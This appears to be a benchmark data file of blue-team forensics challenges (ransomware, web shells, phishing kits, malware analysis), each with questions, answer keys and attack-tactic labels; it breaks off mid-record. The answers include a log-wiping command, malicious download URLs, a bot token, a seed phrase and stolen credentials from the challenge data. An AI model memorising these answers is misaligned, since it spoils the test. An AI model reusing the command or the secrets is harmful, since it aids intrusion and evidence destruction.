{"scenario_name": "BlueSky", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/bluesky-ransomware/", "last_accessed": "June 04, 2025", "writeup": "https://h05am10.gitbook.io/h05am10/write-ups/cyberdefenders/network-forensics/bluesky-ransomware", "scenario": "A major corporation responsible for vital data and services across multiple industries has disclosed a serious cybersecurity event. Their network was recently affected by a suspected ransomware assault. Critical files have been locked, leading to disruptions and concerns over possible data breaches. Initial indicators suggest the attack was carried out by an advanced threat actor. Your role is to examine the available evidence, identify the attackers' techniques, evaluate the breach's scope, and assist in mitigating the threat to restore the network's integrity.", "task_category": "Network Forensics", "complexity": "Medium", "tools_available": ["tshark", "python", "md5sum", "grep", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "xxd", "base64", "cd", "whois"], "files_available": "capture.pcap", "instructions": "You are solving this problem in a kali linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command.", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Is there any evidence of port scanning in the network traffic? If so, what is the IP address responsible for the scanning activity?", "answer": "87.96.21.84", "adversarial_tactic": "Reconnaissance: Port scanning is part of the initial reconnaissance phase to identify open ports and services."}, {"question": "2. Is there any user account targeted for unauthorized access in the capture file? If so, what is the targeted account username?", "answer": "sa", "adversarial_tactic": "Initial Access: Adversaries may obtain and abuse credentials of existing accounts to gain unauthorized access."}, {"question": "3. Did the attacker succeed in gaining access. If so, can you provide the correct password discovered by the attacker?", "answer": "cyb3rd3f3nd3r$", "adversarial_tactic": "Initial Access: Adversaries may obtain and abuse credentials of existing accounts to gain unauthorized access."}, {"question": "4. Attackers often change some settings to facilitate lateral movement within a network. Do you think if there is any change, if so, what setting did the attacker enable to control the target host further and execute further commands?", "answer": "xp_cmdshell", "adversarial_tactic": "Lateral Movement: Enabling specific settings facilitates unauthorized control over the network."}, {"question": "5. Process injection is often used by attackers to escalate privileges within a system. Is there any process the attacker injected the C2 into to gain administrative privileges?", "answer": "winlogon.exe", "adversarial_tactic": "Privilege Escalation: Injecting into processes is used to escalate privileges and maintain persistence."}, {"question": "6. Is there any record of a file being downloaded by the attacker? If so, what is the URL of the downloaded file?", "answer": "http://87.96.21.84/checking.ps1", "adversarial_tactic": "Execution: Downloading malicious scripts is part of executing a payload."}, {"question": "7.  Is there any specific group or security identifier (SID) that is checked by the malicious script to confirm user privileges? If so, what is the SID?", "answer": "S-1-5-32-544", "adversarial_tactic": "Discovery: Checking SIDs helps attackers identify privileged accounts for further exploitation."}, {"question": "8. Is there any indication of registry modifications by the attacker? If so, what are the registry keys used by the attacker to disable Windows Defender functionalities?", "answer": "DisableAntiSpyware, DisableRoutinelyTakingAction, DisableRealtimeMonitoring, SubmitSamplesConsent, SpynetReporting", "adversarial_tactic": "Defense Evasion: Disabling Windows Defender weakens the system's defenses."}, {"question": "9. Is there any evidence of second file downloaded by the attacker? If so, what is the URL?", "answer": "http://87.96.21.84/del.ps1", "adversarial_tactic": "Execution: Downloading script files is part of executing secondary payloads."}, {"question": "10. Is there any evidence of scheduled tasks created by the attacker? If so, what is the name of the scheduled task to maintain persistence on the system?", "answer": "Microsoft/Windows/MUI/LPupdate", "adversarial_tactic": "Persistence: Scheduled tasks help attackers maintain access to the system."}, {"question": "11. Is there any evidence of credential dumping by the attacker? If so, is there any invoked script used by the attacker for dumping credentials?", "answer": "invoke-powerdump.ps1", "adversarial_tactic": "Credential Access: Dumping credentials is essential for further exploitation."}, {"question": "12. Is there any saved file containing the dumped credentials? If so, what is the name of the file?", "answer": "hashes.txt", "adversarial_tactic": "Credential Access: Saved credentials are critical for adversary exploitation."}, {"question": "13. Is there a file that contains a list of discovered hosts on the network? If so, what is the name of the file?", "answer": "extracted_hosts.txt", "adversarial_tactic": "Discovery: Listing discovered hosts helps attackers identify potential targets."}]}
{"scenario_name": "Btlo_port_scanning", "source": "https://blueteamlabs.online/home/challenge/network-analysis-web-shell-d4d3a2821b", "last_accessed": "June 04, 2025", "writeup": "https://medium.com/btlo-investigation-solutions/btlo-network-analysis-web-shell-9fa8d3135b6", "scenario": "An analyst detects unusual network activity suggesting that an internal host is scanning another internal system, raising concerns of a potential port scanning activity. A PCAP file, capture.pcap, has been provided to determine if this is a benign network scan or an indicator of compromise. Your task is to analyze the provided pcap file and extract relevant information to understand the attack.", "task_category": "Network Forensics", "complexity": "Easy", "tools_available": ["tshark", "python", "md5sum", "grep", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "xxd", "base64", "cd", "whois"], "files_available": "capture.pcap", "instructions": "\nYou are solving this problem in a kali linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command.", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Based on the network traffic, is there any indication of port scanning activity?", "answer": "Yes, the network traffic shows clear indications of port scanning activity.", "adversarial_tactic": "Reconnaissance: Port scanning is commonly used for identifying open ports and is part of reconnaissance activities to gather information about a target system."}, {"question": "2. If there is port scanning activity, can you identify the IP address responsible for conducting the port scanning activity?", "answer": "10.251.96.4", "adversarial_tactic": "Reconnaissance: Identifying the source of reconnaissance activity, such as port scanning, helps understand how adversaries gather information about the network."}, {"question": "3. Can you identify the range of ports that were scanned by the suspicious host?", "answer": "1-1024", "adversarial_tactic": "Reconnaissance: This question further characterizes the reconnaissance activity, providing insight into the adversary scanning methods."}, {"question": "4. Can you determine the type of port scan conducted by the suspicious host?", "answer": "SYN scan or TCP SYN scan", "adversarial_tactic": "Reconnaissance: Understanding the type of port scan (e.g., SYN scan) provides additional detail on the reconnaissance technique."}, {"question": "5. Can you identify if there are any additional tools used to perform reconnaissance against open ports? If so, what were they?", "answer": "gobuster 3.0.1 and sqlmap 1.4.7.", "adversarial_tactic": "Reconnaissance: Identifying tools used in reconnaissance can reveal an adversary's resources or tools used to gather information about the target."}, {"question": "6. Based on the network traffic, Is there any indication of web shell upload? If so, what is the name of the uploaded web shell? ", "answer": "dbfunctions.php", "adversarial_tactic": "Execution: Web shells are used to execute commands on a target system, indicating a more advanced stage of compromise."}, {"question": "7. If there is any indication of web shell upload in the traffic, can you identify any file through which the attacker uploaded the web shell? If so, what is the file name?", "answer": "editprofile.php", "adversarial_tactic": "Initial Access: Through the file upload, the attacker may attempt to gain initial access to the target system."}, {"question": "8. Can you identify if the attacker execute any commands through the web shell? If so, what parameter is used for command execution? ", "answer": "'cmd'", "adversarial_tactic": "Execution: The execution of commands through a web shell shows that the attacker has achieved command execution, likely attempting to carry out further operations."}, {"question": "9. Can you identify if there is any kind of shell connection is established by the attacker to the compromised system? If so, what type of shell connection is it?", "answer": "reverse shell", "adversarial_tactic": "Command and Control (C2): Establishing a reverse shell indicates that the attacker has set up a command and control channel to maintain a persistent connection to the target system."}, {"question": "10. From the shell connection initiated by the attacker, can you identify if there are any ports used for the shell connection? If so, what is the port number used for the shell connection?", "answer": "4422", "adversarial_tactic": "Command and Control (C2): Determining the port used for a reverse shell provides insight into the command and control mechanism, which is crucial for identifying and blocking potential C2 channels."}]}
{"scenario_name": "BTLO_Ransomware_Script", "source": "https://blueteamlabs.online/home/challenge/malware-analysis-ransomware-script-4263fe6ecf", "last_accessed": "June 04, 2025", "writeup": "https://medium.com/@ERBATMAN/blue-team-labs-malware-analysis-ransomware-script-6d5ecb2a2496", "scenario": "A recent ransomware attack compromised one of our web servers. Fortunately, a restore point created shortly before the encryption allowed us to recover the system. Among the restored files was a suspicious script that appears to have not been executed yet.", "task_category": "Malware Analysis", "complexity": "Easy", "tools_available": ["tshark", "python", "md5sum", "curl", "grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "xxd", "tr", "base64", "cd", "whois"], "files_available": ["script.txt"], "instructions": "You are solving this problem in a kali linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command.", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Can you identify any IP address that appears repeatedly and may seem to be suspicious? If so, what is the IP address?", "answer": "185.141.25.168", "adversarial_tactic": "Command and Control (C2): Repeated IP addresses may indicate an external server used for command and control communication."}, {"question": "2. In script.txt, can you identify if any package management commands used to retrieve or install tools? If the script attempts to delete any logs afterward, and if so, what command is used?", "answer": "rm -rf /var/log/yum*", "adversarial_tactic": "Defense Evasion: Deleting logs suggests an attempt to cover tracks, while package management may point to tool acquisition by adversaries."}, {"question": "3. Can you find any message written to /etc/motd for any contact information provided by the attacker. If any email address is included, provide it here.", "answer": "nationalsiense@protonmail.com", "adversarial_tactic": "Impact: Contact information in the message can be used by attackers to negotiate ransom payments or communicate with victims."}, {"question": "4. Can you identify if there an unusual file extension used when files are encrypted? If so, what is it?", "answer": "☢", "adversarial_tactic": "Impact: Unique file extensions are typically added to encrypted files as part of ransomware's impact on the system."}, {"question": "5. Can you identify any function names related to encryption in the script? If so, provide the function names.", "answer": "encrypt_ssh, encrypt_grep_files, encrypt_home, encrypt_root, encrypt_db", "adversarial_tactic": "Impact: Identifying encryption functions can help understand the ransomware's behavior and its impact on the system."}, {"question": "6. Can you identify if the script includes any URLs used to check or communicate with an external server for a file. If so, what is the URL?", "answer": "http://185.141.25.168/check_attack/0.txt", "adversarial_tactic": "Command and Control (C2): External URLs in scripts can signify a command and control server used to communicate with compromised machines."}]}
{"scenario_name": "Compromised_Wordpress", "source": "https://blueteamlabs.online/home/challenge/log-analysis-compromised-wordpress-ce000f5b59", "last_accessed": "June 04, 2025", "writeup": "https://medium.com/@azriq/btlo-log-analysis-compromised-wordpress-challenge-85b4bf7b14e2", "scenario": "A compromise has been detected on one of our WordPress websites. It is currently suspected that a vulnerable plugin enabled remote code execution, granting the attacker access to the server’s operating system. As an analyst, your responsibility is to review the logs and uncover indicators confirming this breach.", "task_category": "Miscellaneous", "complexity": "Easy", "tools_available": ["tshark", "python", "md5sum", "curl", "grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "xxd", "tr", "base64", "cd", "whois"], "files_available": ["capture.log"], "instructions": "You are solving this problem in a kali linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command.", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Can you identify any suspicious login activity to the WordPress admin panel? If so, provide the URI of the login attempt", "answer": "/wp-login.php?itsec-hb-token=adminlogin", "adversarial_tactic": "Credential Access: Identifying suspicious login attempts helps understand how attackers may have gained the credentials to access the system."}, {"question": "2. Can you identify any external tools or software that the attacker may have used on the server? If so, list any tool names found in the log data.", "answer": "wpscan sqlmap", "adversarial_tactic": "Reconnaisance: Identifying tools used by the attacker helps understand how they gathered information about the target and potential vulnerabilities."}, {"question": "3. Can you identify any plugins that were used to gain access to the server? If so, provide the plugin name and version.", "answer": "simple file list 4.2.2", "adversarial_tactic": "Initial Access: Identifying the plugin that led to the compromise helps understand the initial attack vector and potential vulnerabilities."}, {"question": "4. Can you identify any files uploaded by the attacker? If so, provide the filename.", "answer": "fr34k.php", "adversarial_tactic": "Execution: Identifying uploaded scripts helps understand the attackers actions and potential goals."}, {"question": "5. Can you identify the access attempts to the uploaded script file? If so, provide the final HTTP response code returned when the file was accessed last in the log.", "answer": "404", "adversarial_tactic": "Execution: Understanding the response code helps determine if the attackers actions were successful or if the file was detected and blocked."}]}
{"scenario_name": "Btlo_Classical_Injection", "source": "https://blueteamlabs.online/home/challenge/reverse-engineering-a-classic-injection-9791a9b784", "last_accessed": "June 04, 2025", "writeup": "https://medium.com/@ERBATMAN/blue-teams-labs-online-reverse-engineering-a-classic-injection-f77b8101fa4b", "scenario": "This task aims to place you in the role of a blue team security analyst, where you'll analyze a de-compiled code of malicious exe file and answer the following questions.", "task_category": "Malware Analysis", "complexity": "Easy", "tools_available": ["grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "python", "whois", "curl", "xxd"], "files_available": "code.c", "instructions": "You are solving this problem in a kali linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command.", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Upon execution, can you identify if the malware delays its behavior by putting itself to sleep? If so, can you analyze the code to identify any sleep time of the malware?", "answer": "3 minutes.", "adversarial_tactic": "Defense Evasion: Delaying execution can help malware avoid detection by security tools or analysts."}, {"question": "2. Can you identify if the malware prompts the user for a password before continuing its execution? If so, can you analyze the code to identify the password?", "answer": "'btlo'.", "adversarial_tactic": "Execution: The malware is executing code on the system and requires a password to progress or perform malicious actions"}, {"question": "3. Can you identify if there is any shellcode section present in the malware? If so, what is the size of the shellcode?", "answer": "473 bytes.", "adversarial_tactic": "Execution: Shellcode is a primary executable payload, and analyzing its size relates to understanding its operational payload."}, {"question": "4. Can you identify if the malware injects shellcode into another process? If so, can you analyze the code to identify the API call used for this process injection?", "answer": "'CreateRemoteThread'.", "adversarial_tactic": "Defense Evasion: Process injection can help malware avoid detection by running malicious code within legitimate processes."}, {"question": "5. Can you identify if the malware interact with any specific process during its execution? If so, what is the name of the victim process?", "answer": "'nslookup.exe'.", "adversarial_tactic": "Privilege Escalation: Interacting with specific processes can indicate attempts to elevate privileges or perform malicious actions within a targeted process."}]}
{"scenario_name": "Get_PDF", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/getpdf/", "last_accessed": "June 04, 2025", "writeup": "https://github.com/Panagiotis-INS/Cyber-Defenders/tree/main/GetPDF", "scenario": "An unsuspecting user browses the web and clicks on a seemingly harmless link, leading them to a compromised web page. Without warning, the page redirects the browser to a malicious PDF file. As the PDF opens in the browsers Adobe Acrobat Reader plug-in, an unpatched vulnerability in the software is silently exploited. The attackers malware is then downloaded and installed onto the users machine, all without their knowledge. The cyber defense team has captured the network traffic during this incident. Your task is to analyze the provided pcap file and extract relevant information to understand the attack.", "task_category": "Network Forensics", "complexity": "Medium", "tools_available": ["tshark", "pdf-parser", "pdfid", "grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "xxd", "tr", "base64", "find", "cd", "md5sum", "python", "whois", "curl"], "files_available": "capture.pcap", "instructions": "You are solving this problem in a kali linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command.", "directory": "(directory_of_the_files)", "questions": [{"question": "1. How many unique URL paths are involved in the network traffic of the captured pcap file?", "answer": "6 URL paths", "adversarial_tactic": ""}, {"question": "2. Is there any JavaScript code found in the captured network traffic? If so, what is the URL where this JavaScript is found?", "answer": "'http://blog.honeynet.org.my/forensic_challenge/'.", "adversarial_tactic": "Execution: JavaScript code in network traffic may execute code upon loading in the browser, aligning with Execution via web-based scripts that execute malicious functions."}, {"question": "3. Does the JavaScript code found in the pcap file contain any hidden entities like URL? If so, what is the URL? ", "answer": "'http://blog.honeynet.org.my/forensic_challenge/getpdf.php'.", "adversarial_tactic": "Execution: Hidden URLs in JavaScript can be used to download additional payloads or redirect users to malicious sites"}, {"question": "4. Is there a PDF file present in the network traffic? If so, what is the MD5 hash of the PDF file?", "answer": "'659cf4c6baa87b082227540047538c2a'.", "adversarial_tactic": "Initial Access: Malicious PDFs are often used to deliver malware to get an initial foothold on a system."}, {"question": "5. Can you analyze the PDF file and determine the number of objects present within the file?", "answer": "19", "adversarial_tactic": ""}, {"question": "6. Are there any filtering schemes used for the object streams in the PDF file? If so, how many filtering schemes are present?", "answer": "4", "adversarial_tactic": "Defense Evasion: Attackers often use filtered streams to obfuscate content, hence inspecting filtering schemes supports Defense Evasion by detecting potential obfuscation techniques."}, {"question": "7. Does the PDF file contain any object streams with any code snippets that seem to be suspicious? If so, what is the number of the object stream containing the code?", "answer": "'5'", "adversarial_tactic": "Execution: Locating JavaScript in PDFs ties to Execution as embedded scripts in PDF objects can be used to deliver payloads when the file is opened in a PDF reader."}, {"question": "8. Analyze the content of the PDF file and determine if it contains any exploit. If so, what is the URL of the malicious executable that the shellcode associated with the exploit drop?", "answer": "'http://blog.honeynet.org.my/forensic_challenge/the_real_malware.exe'.", "adversarial_tactic": "Execution: The shellcode could be dropping and executing a malicious executable."}]}
{"scenario_name": "Grab_the_Fisher", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/grabthephisher/", "last_accessed": "June 04, 2025", "writeup": "https://forensicskween.com/ctf/cyberdefenders/grabthephisher/", "scenario": "Multiple users of a decentralized finance (DeFi) platform have reported suspicious fund withdrawals without their consent. An in-depth forensic analysis traced the issue to a phishing website that closely resembled the legitimate PancakeSwap exchange and deceived victims into revealing their wallet seed phrases. The phishing infrastructure was hosted on a hijacked server, with stolen credentials being transmitted through a Telegram bot. Your mission is to carry out threat intelligence analysis of the phishing infrastructure, uncover indicators of compromise (IoCs), and investigate the attacker’s digital activity, including Telegram IDs and online aliases, to better understand their tactics, techniques, and procedures (TTPs).", "task_category": "Miscellaneous", "complexity": "Easy", "tools_available": ["html2text", "grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "python", "whois", "curl"], "files_available": "scenario", "instructions": "You are solving this problem in a kali linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command.(Add instructions related to usage of python scripts if needed). ", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Is there a specific wallet used for asking the seed phrase? If so, which wallet is it?", "answer": "MetaMask", "adversarial_tactic": "Initial Access: Recognizing the wallet service helps understand the phishing kit s target and potential victims, aligning with Initial Access tactics."}, {"question": "2. Is there a file that contains the code for phishing kit? If so, name the file.", "answer": "scenario/metamask/metamask.php or metamask.php", "adversarial_tactic": "Initial access: Identifying the main operational file helps understand the phishing kits functionality and potential entry points for victims, aligning with Initial Access tactics."}, {"question": "3. Can you determine the primary programming language used in writing the phishing kit? If so, what is the language?", "answer": "PHP", "adversarial_tactic": ""}, {"question": "4. Does the phishing kit use any external services to gather information about the victims machine? If so, what is the name of the service?", "answer": "Spyex Geo", "adversarial_tactic": "Exfiltration: External services like Spyex Geo are used to gather additional information about the victim, aligning with Exfiltration tactics."}, {"question": "5. Can you determine if the phishing kit has a specific number of seed phrases it collected already? If so, what is the number?", "answer": "3", "adversarial_tactic": ""}, {"question": "6. If you can collect the seed phrases, what is the most recent wallet seed phrase collected? ", "answer": "father also recycle embody balance concert mechanic believe owner pair muffin hockey", "adversarial_tactic": "Credential Access: Retrieving specific seed phrases links to Credential Access since these credentials are necessary for wallet control and exploitation by the attacker."}, {"question": "7. Does the phishing kit include any functionality for credential dumping? If so, what communication medium is used for this purpose?", "answer": "Telegram", "adversarial_tactic": "Exfiltration: Determining if Telegram or similar channels are used for data exfiltration aligns with Exfiltration, as the phishing kit sends stolen information to remote channels."}, {"question": "8. Can you identify the token used for communication medium in the phishing kit? if so, what is the token?", "answer": "5457463144:AAG8t4k7e2ew3tTi0IBShcWbSia0Irvxm10", "adversarial_tactic": "Exfiltration: Identifying the Telegram token shows how data is exfiltrated, providing insight into the attackers chosen medium for moving stolen information externally."}, {"question": "9. Can you identify any chat ID associated with the phishers channel in the phishing kit? If so, what is the chat ID?", "answer": "5442785564", "adversarial_tactic": "Exfiltration: Finding the chat ID aligns with Exfiltration tactics, as it allows tracing where data is sent and understanding exfiltration routes."}, {"question": "10. Are there any references to other individuals or entities who may be involved in developing or distributing this phishing kit? If so, identify them.", "answer": "j1j1b1s@m3r0", "adversarial_tactic": ""}, {"question": "11. Based on the available information from the phishing kits communication medium (e.g., tokens, chat IDs), identify the full name of the individual managing the communication channel?", "answer": "Marcus Aurelius", "adversarial_tactic": "Command and Control: Associating a name with the communication channel helps identify the individual behind the phishing kit and their potential role in the operation."}, {"question": "12. Based on the available information from the phishing kits Telegram communication (e.g., tokens, chat IDs), determine the username of the individual managing the phishing kits Telegram channel?", "answer": "pumpkinboii", "adversarial_tactic": "Command and Control (C2): Establishing the username of the Telegram channel manager ties into Command and Control, helping link attacker infrastructure to a specific operator."}]}
{"scenario_name": "Hammered", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/hammered/", "last_accessed": "June 04, 2025", "writeup": "https://forensicskween.com/ctf/cyberdefenders/hammered/", "scenario": "This challenge immerses you in virtual environments and puzzling log files. As a SOC Analyst, your task is to investigate the logs from a potentially compromised server to determine what occurred with the webserver honeypot.", "task_category": "Memory Forensics", "complexity": "Medium", "tools_available": ["grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "python", "whois", "curl"], "files_available": "scenario", "instructions": "You are solving this problem in a kali linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command.(Add instructions related to usage of python scripts if needed)", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Can you identify if the attacker gain access to the system? if so, what service was used to gain access to the system? ", "answer": "ssh", "adversarial_tactic": "Initial Access: Identifying the service used for initial compromise is crucial for understanding the attack vector and improving defenses against similar entry points."}, {"question": "2. Can you identify the operating system version of the targeted system? If so, what is the name of the operating system?", "answer": "4.2.4-1ubuntu3", "adversarial_tactic": ""}, {"question": "3. If the attacker gained access to the system, can you identify the name of the account that was compromised? If so, what is the name?", "answer": "root", "adversarial_tactic": "Credential Access: Identifying compromised accounts is essential for understanding the scope of access obtained by attackers and the potential impact on system security."}, {"question": "4. Can you identify the number of attacker got access to the system? If so, what is the number?", "answer": "6", "adversarial_tactic": ""}, {"question": "5. Can you identify if any requests were sent to the apache server? if so, how many requests were sent?", "answer": "365", "adversarial_tactic": "Command and Control: Monitoring web request volume can indicate the presence of Command and Control (C2) activity, where attackers use web servers to communicate with compromised systems or exfiltrate data."}, {"question": "6. Can you identify if any rules were added to the firewall? If so, how many rules were added?", "answer": "6", "adversarial_tactic": "Defense Evasion: Adding firewall rules can be a tactic to evade detection by blocking security monitoring tools or preventing alerts from being triggered, allowing attackers to maintain access without raising suspicion."}, {"question": "7. Can you identify if there is a scanning tool downloaded in the target system? if so, what is the tool?", "answer": "nmap", "adversarial_tactic": "Discovery: Scanning tools like nmap are often used by attackers to gather information about the target system, including open ports, services running, and potential vulnerabilities that can be exploited for further access or lateral movement."}, {"question": "8. Can you identify if there was any login from IP with 219.150.161.20? If so, what was the timestamp of the login?", "answer": "04/19/2010 05:56:05 AM ", "adversarial_tactic": ""}, {"question": "9. Can you identify any warning messages related to database security? If so, what is the most critical warning message?", "answer": "mysql.user contains 2 root accounts without password!", "adversarial_tactic": ""}, {"question": "10. Can you identify if any new accounts have been created on the system? If so, can you provide the name or names of the new accounts?", "answer": "wind3str0y", "adversarial_tactic": "Persistence: Creating new user accounts is a common technique used by attackers to establish persistent access to compromised systems, especially if the initial access vector is detected and blocked."}, {"question": "11. Can you identify if there was any proxy used in the system to run the scans? If so, what is the name of the proxy?", "answer": "pxyscand/2.1", "adversarial_tactic": "Discovery: Using a proxy for scans can help attackers gather information about the target system while obfuscating their true source, making it harder for defenders to trace the origin of the attack."}]}
{"scenario_name": "Hawkeye", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/hawkeye/", "last_accessed": "June 04, 2025", "writeup": "https://github.com/Panagiotis-INS/Cyber-Defenders/tree/main/HawkEye", "scenario": "An employee in the accounting department of your organization received an email containing an invoice with an embedded download link. Following the email’s opening, unusual network activity was detected. As a SOC analyst, your task is to examine the network logs and investigate any potential data exfiltration attempts.", "task_category": "Network Forensics", "complexity": "Medium", "tools_available": ["tshark", "grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "python", "whois", "curl"], "files_available": "capture.pcap", "instructions": "You are solving this problem in a kali linux terminal. With the mentioned tools, you can use any other tool as you want. If you need to install any other tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts if needed).\n", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Analyze the network traffic capture file to determine how many packets are present in the entire capture.", "answer": "4003", "adversarial_tactic": ""}, {"question": "2. What is the timestamp of the first packet captured in the pcap file?", "answer": "April 10, 2019 at 16:37:07 EDT or 2019-04-10 20:37:07 UTC.", "adversarial_tactic": ""}, {"question": "3. Based on the pcap file, determine the total duration of the network capture.", "answer": "The duration of the capture is 01:03:41.", "adversarial_tactic": ""}, {"question": "4. Investigate the pcap file and identify the most active computer at the link level.", "answer": "00:08:02:1c:47:ae.", "adversarial_tactic": ""}, {"question": "5. The organization works with private addressing and netmask /24. How many computers in the organization are involved in the capture? ", "answer": "3", "adversarial_tactic": ""}, {"question": "6. Determine the the name of the most active computer at the network level.", "answer": "Beijing-5cd1-PC.", "adversarial_tactic": ""}, {"question": "7. What is the IP of the organization's DNS server based on the network traffic?", "answer": "10.4.10.4.", "adversarial_tactic": ""}, {"question": "8. Can you determine if there is any domain queried in packet 204 by one of the computers in the network, if so, what is the domain?", "answer": "proforma-invoices.com.", "adversarial_tactic": ""}, {"question": "9. Resolve the found domain queried to its corresponding IP address using data from the pcap file.", "answer": "217.182.138.150.", "adversarial_tactic": ""}, {"question": "10. Based on network traffic, identify the operating system of the victim's machine.", "answer": "Windows NT 6.1.", "adversarial_tactic": ""}, {"question": "11. Is there any suspicious file downloaded by the victim's computer during the network capture? If so, determine the name of the file.", "answer": "tkraw_Protected99.exe.", "adversarial_tactic": ""}, {"question": "12. If any suspicious file is found, determine the MD5 hash of the file.", "answer": "71826ba081e303866ce2a2534491a2f7.", "adversarial_tactic": "Execution: Identifying files such as executables and their hashes can help in understanding the executed potential malware involved in the attack."}, {"question": "13. Can you identify if there is any software that runs the web server hosting the suspicious file downloaded by the victim's computer? If so, can you provide the name of the software?", "answer": "LiteSpeed.", "adversarial_tactic": "Initial Access: Understanding the server software can help from where the malicious file was downloaded and how the attacker gained initial access to the victim's machine."}, {"question": "14. What is the public IP address of the victim's computer observed in the network capture?", "answer": "173.66.146.112.", "adversarial_tactic": ""}, {"question": "15. Is there any evidence that data is stolen from the victim's computer?", "answer": "Yes, data is exfiltrated from the victim's computer.", "adversarial_tactic": "Exfiltration: This question directly seeks to verify data theft, which is central to the Exfiltration tactic. Evidence of data leaving the network is a primary indicator of an adversary achieving their objective."}, {"question": "16. If there is any evidence of stolen data, identify the country from which the stolen data is sent.", "answer": "United States", "adversarial_tactic": "Command and Control: Identifying the location of the email server can determine the adversary's location or the location of the compromised server used for exfiltration."}, {"question": "17. If there is any evidence of stolen data, can you find any software that runs the email server to which the stolen data is sent? If so, what is the name of the software?", "answer": "Exim 4.91.", "adversarial_tactic": "Exfiltration: Understanding the email server software can help in identifying the exfiltration method used by the attacker and the potential vulnerabilities exploited."}, {"question": "18. If there is any evidence of stolen data, can you identify the destination email address to which the stolen data is sent from the victim's computer. ", "answer": "sales.del@macwinlogistics.in.", "adversarial_tactic": "Exfiltration: Identifying the destination address is crucial to understand where the stolen data is sent, aligning with the Exfiltration tactic where the attacker moves data out of the network."}, {"question": "19. Can you identify if there is any password used by the suspicious file to send the stolen data. If there is, what is the password?", "answer": "Sales@23.", "adversarial_tactic": "Exfiltration: Identifying the password used for exfiltration is crucial for understanding the adversary's techniques and the exfiltration process."}, {"question": "20. Based on your analysis, can you determine which malware variant was responsible for exfiltrating the stolen data?", "answer": "Reborn v9.", "adversarial_tactic": "Exfiltration: Identifying the malware variant is crucial for understanding the adversary's techniques and the exfiltration process."}, {"question": "21. Analyze the network traffic to extract if you can find any Bank of America login credentials (username and password) involved in the data exfiltration attempt. If you can find, provide the credentials.", "answer": "Troman.mcguire:P@ssw0rd$.", "adversarial_tactic": "Credential Access: Finding login credentials exfiltrated during the attack highlights credential-harvesting goals, directly aligning with the Credential Access tactic where the attacker seeks to steal sensitive information."}]}
{"scenario_name": "Insider", "source": "https://cyberdefenders.org/blueteam-ctf-challenges/insider/", "last_accessed": "June 04, 2025", "writeup": "https://github.com/Panagiotis-INS/Cyber-Defenders/tree/main/Insider", "scenario": "After an employee started working at the organization, they began engaging in illegal activities internally. You have been hired as a Security Operations Center (SOC) analyst to initiate an investigation into the incident.A disk image of the employee's computer, which runs a Linux operating system, has been obtained. Your task is to analyze the disk image and answer the associated questions.", "task_category": "Memory Forensics", "complexity": "Easy", "tools_available": ["grep", "awk", "sed", "find", "strings", "file", "cut", "unique", "wc", "cat", "ls", "sort", "echo", "head", "tail", "tr", "base64", "find", "cd", "md5sum", "python"], "files_available": ["sample.ad1", "sample.ad1.txt"], "instructions": "\nYou are solving this problem in a kali linux terminal. You can use any tool as you want.If you need to install the tool, you can do it by adding sudo at the beginning of the command. (Add instructions related to usage of python scripts and volatility if needed)", "directory": "(directory_of_the_files)", "questions": [{"question": "1. Can you identify the Linux distribution used on employee's machine? If so, what is the name of the Linux distribution?", "answer": "kali", "adversarial_tactic": ""}, {"question": "2. Can you find any file named 'access.log' in the disk image? If so, what is the MD5 hash of this file?", "answer": "d41d8cd98f00b204e9800998ecf8427e", "adversarial_tactic": ""}, {"question": "3. Can you identify if any credential dumping tools were used on employee's machine? If so, what is the name of the tool?", "answer": "mimikatz_trunk.zip", "adversarial_tactic": "Credential Access: Identifying credential dumping tools is crucial for understanding how attackers may have obtained sensitive information such as passwords or authentication tokens."}, {"question": "4. Can you identify if any super-secret files were created on employee's machine? If so, what is the path of the file?", "answer": "/root/Desktop/SuperSecretFile.txt", "adversarial_tactic": "Collection: Creating or Storing super-secret files can indicate an attempt to collect sensitive information or data exfiltration."}, {"question": "5. Can you identify if there was any program used by didyouthinkwedmakeiteasy.jpg during execution? If so, 